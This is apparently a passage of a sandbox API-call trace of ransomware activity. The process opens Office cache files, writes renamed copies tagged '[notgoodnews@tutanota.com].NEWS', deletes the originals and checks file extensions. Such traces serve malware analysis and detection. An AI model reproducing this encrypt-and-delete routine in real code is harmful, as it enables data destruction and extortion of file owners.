(lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0046.185] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.185] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.185] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0046.185] GetLastError () returned 0x0 [0046.185] ReadFile (in: hFile=0x16c, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x646, lpOverlapped=0x0) returned 1 [0046.232] WriteFile (in: hFile=0x19c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x650, lpOverlapped=0x0) returned 1 [0046.239] ReadFile (in: hFile=0x16c, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.239] WriteFile (in: hFile=0x19c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0046.239] SetEndOfFile (hFile=0x19c) returned 1 [0046.239] CloseHandle (hObject=0x19c) returned 1 [0046.240] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.240] SetEndOfFile (hFile=0x16c) returned 1 [0046.241] CloseHandle (hObject=0x16c) returned 1 [0046.242] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0046.242] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0046.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0046.242] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0046.242] lstrlenW (lpString=".doc") returned 4 [0046.242] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.242] lstrlenW (lpString=".docx") returned 5 [0046.242] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0046.242] lstrlenW (lpString=".pdf") returned 4 [0046.243] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.243] lstrlenW (lpString=".xls") returned 4 [0046.243] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.243] lstrlenW (lpString=".xlsx") returned 5 [0046.243] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0046.243] lstrlenW (lpString=".ppt") returned 4 [0046.243] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0046.243] lstrlenW (lpString=".zip") returned 4 [0046.243] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.243] lstrlenW (lpString=".rar") returned 4 [0046.243] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.243] lstrlenW (lpString=".bz2") returned 4 [0046.243] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.243] lstrlenW (lpString=".7z") returned 3 [0046.243] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0046.243] lstrlenW (lpString=".dbf") returned 4 [0046.243] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0046.243] lstrlenW (lpString=".1cd") returned 4 [0046.243] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.243] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0046.244] lstrlenW (lpString=".jpg") returned 4 [0046.244] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0046.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0046.244] lstrlenW (lpString=".doc") returned 4 [0046.244] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.244] lstrlenW (lpString=".docx") returned 5 [0046.244] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0046.244] lstrlenW (lpString=".pdf") returned 4 [0046.244] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.244] lstrlenW (lpString=".xls") returned 4 [0046.244] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.244] lstrlenW (lpString=".xlsx") returned 5 [0046.244] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0046.244] lstrlenW (lpString=".ppt") returned 4 [0046.244] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.244] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0046.244] lstrlenW (lpString=".zip") returned 4 [0046.244] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.245] lstrlenW (lpString=".rar") returned 4 [0046.245] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.245] lstrlenW (lpString=".bz2") returned 4 [0046.245] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.245] lstrlenW (lpString=".7z") returned 3 [0046.245] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0046.245] lstrlenW (lpString=".dbf") returned 4 [0046.245] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0046.245] lstrlenW (lpString=".1cd") returned 4 [0046.245] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.245] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0046.245] lstrlenW (lpString=".jpg") returned 4 [0046.245] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.245] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0046.245] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0046.246] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0046.264] GetFileSizeEx (in: hFile=0x16c, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1452) returned 1 [0046.264] CloseHandle (hObject=0x16c) returned 1 [0046.264] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0046.264] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0046.264] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x16c [0046.265] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.265] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.265] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0046.265] GetLastError () returned 0x0 [0046.265] ReadFile (in: hFile=0x16c, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x5ac, lpOverlapped=0x0) returned 1 [0046.279] WriteFile (in: hFile=0x19c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0046.282] ReadFile (in: hFile=0x16c, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.282] WriteFile (in: hFile=0x19c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0046.282] SetEndOfFile (hFile=0x19c) returned 1 [0046.282] CloseHandle (hObject=0x19c) returned 1 [0046.283] SetFilePointerEx (in: hFile=0x16c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.283] SetEndOfFile (hFile=0x16c) returned 1 [0046.740] CloseHandle (hObject=0x16c) returned 1 [0046.740] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0046.740] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 1 [0046.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0046.740] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0046.740] lstrlenW (lpString=".doc") returned 4 [0046.741] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.741] lstrlenW (lpString=".docx") returned 5 [0046.741] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0046.741] lstrlenW (lpString=".pdf") returned 4 [0046.741] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.741] lstrlenW (lpString=".xls") returned 4 [0046.741] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.741] lstrlenW (lpString=".xlsx") returned 5 [0046.741] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0046.741] lstrlenW (lpString=".ppt") returned 4 [0046.741] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0046.741] lstrlenW (lpString=".zip") returned 4 [0046.741] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.741] lstrlenW (lpString=".rar") returned 4 [0046.741] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.741] lstrlenW (lpString=".bz2") returned 4 [0046.741] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.741] lstrlenW (lpString=".7z") returned 3 [0046.741] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.741] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0046.741] lstrlenW (lpString=".dbf") returned 4 [0046.742] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0046.742] lstrlenW (lpString=".1cd") returned 4 [0046.742] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0046.742] lstrlenW (lpString=".jpg") returned 4 [0046.742] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0046.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0046.742] lstrlenW (lpString=".doc") returned 4 [0046.742] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0046.742] lstrlenW (lpString=".docx") returned 5 [0046.742] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0046.742] lstrlenW (lpString=".pdf") returned 4 [0046.742] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0046.742] lstrlenW (lpString=".xls") returned 4 [0046.742] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0046.742] lstrlenW (lpString=".xlsx") returned 5 [0046.742] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0046.742] lstrlenW (lpString=".ppt") returned 4 [0046.742] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0046.742] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0046.743] lstrlenW (lpString=".zip") returned 4 [0046.743] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0046.743] lstrlenW (lpString=".rar") returned 4 [0046.743] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0046.743] lstrlenW (lpString=".bz2") returned 4 [0046.743] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0046.743] lstrlenW (lpString=".7z") returned 3 [0046.743] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0046.743] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0046.743] lstrlenW (lpString=".dbf") returned 4 [0046.743] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0046.743] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0046.743] lstrlenW (lpString=".1cd") returned 4 [0046.743] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0046.743] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml") returned 77 [0046.743] lstrlenW (lpString=".jpg") returned 4 [0046.743] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0046.743] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0046.744] lstrlenW (lpString="Setup.xml") returned 9 [0046.744] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.237] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=9352) returned 1 [0047.237] CloseHandle (hObject=0x1ec) returned 1 [0047.237] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0047.237] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0047.237] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0047.237] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.237] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.237] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0047.238] GetLastError () returned 0x0 [0047.238] ReadFile (in: hFile=0x1ec, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x2488, lpOverlapped=0x0) returned 1 [0047.372] WriteFile (in: hFile=0x19c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0x2490, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x2490, lpOverlapped=0x0) returned 1 [0047.375] ReadFile (in: hFile=0x1ec, lpBuffer=0x3380020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0047.375] WriteFile (in: hFile=0x19c, lpBuffer=0x3380020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3380020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0047.375] SetEndOfFile (hFile=0x19c) returned 1 [0047.375] CloseHandle (hObject=0x19c) returned 1 [0047.377] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0047.377] SetEndOfFile (hFile=0x1ec) returned 1 [0047.378] CloseHandle (hObject=0x1ec) returned 1 [0047.378] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x2020) returned 1 [0047.379] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0047.379] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0047.379] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0047.379] lstrlenW (lpString=".doc") returned 4 [0047.379] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.379] lstrlenW (lpString=".docx") returned 5 [0047.379] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0047.379] lstrlenW (lpString=".pdf") returned 4 [0047.379] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.379] lstrlenW (lpString=".xls") returned 4 [0047.379] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.379] lstrlenW (lpString=".xlsx") returned 5 [0047.380] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0047.380] lstrlenW (lpString=".ppt") returned 4 [0047.380] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.380] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0047.380] lstrlenW (lpString=".zip") returned 4 [0047.380] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.380] lstrlenW (lpString=".rar") returned 4 [0047.380] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.380] lstrlenW (lpString=".bz2") returned 4 [0047.380] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.380] lstrlenW (lpString=".7z") returned 3 [0047.380] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.380] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0047.380] lstrlenW (lpString=".dbf") returned 4 [0047.380] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.380] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0047.380] lstrlenW (lpString=".1cd") returned 4 [0047.380] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.380] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0047.380] lstrlenW (lpString=".jpg") returned 4 [0047.380] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.380] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0047.381] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0047.381] lstrlenW (lpString=".doc") returned 4 [0047.381] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0047.381] lstrlenW (lpString=".docx") returned 5 [0047.381] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0047.381] lstrlenW (lpString=".pdf") returned 4 [0047.381] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0047.381] lstrlenW (lpString=".xls") returned 4 [0047.381] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0047.381] lstrlenW (lpString=".xlsx") returned 5 [0047.381] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0047.381] lstrlenW (lpString=".ppt") returned 4 [0047.381] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0047.381] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0047.381] lstrlenW (lpString=".zip") returned 4 [0047.381] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0047.381] lstrlenW (lpString=".rar") returned 4 [0047.381] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0047.381] lstrlenW (lpString=".bz2") returned 4 [0047.381] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0047.381] lstrlenW (lpString=".7z") returned 3 [0047.381] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0047.381] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0047.381] lstrlenW (lpString=".dbf") returned 4 [0047.382] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0047.382] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0047.382] lstrlenW (lpString=".1cd") returned 4 [0047.382] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0047.382] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0047.382] lstrlenW (lpString=".jpg") returned 4 [0047.382] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0047.382] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0047.382] lstrlenW (lpString="AccessMUI.xml") returned 13 [0047.382] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0047.454] GetFileSizeEx (in: hFile=0x1fc, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1349) returned 1 [0047.455] CloseHandle (hObject=0x1fc) returned 1 [0047.455] 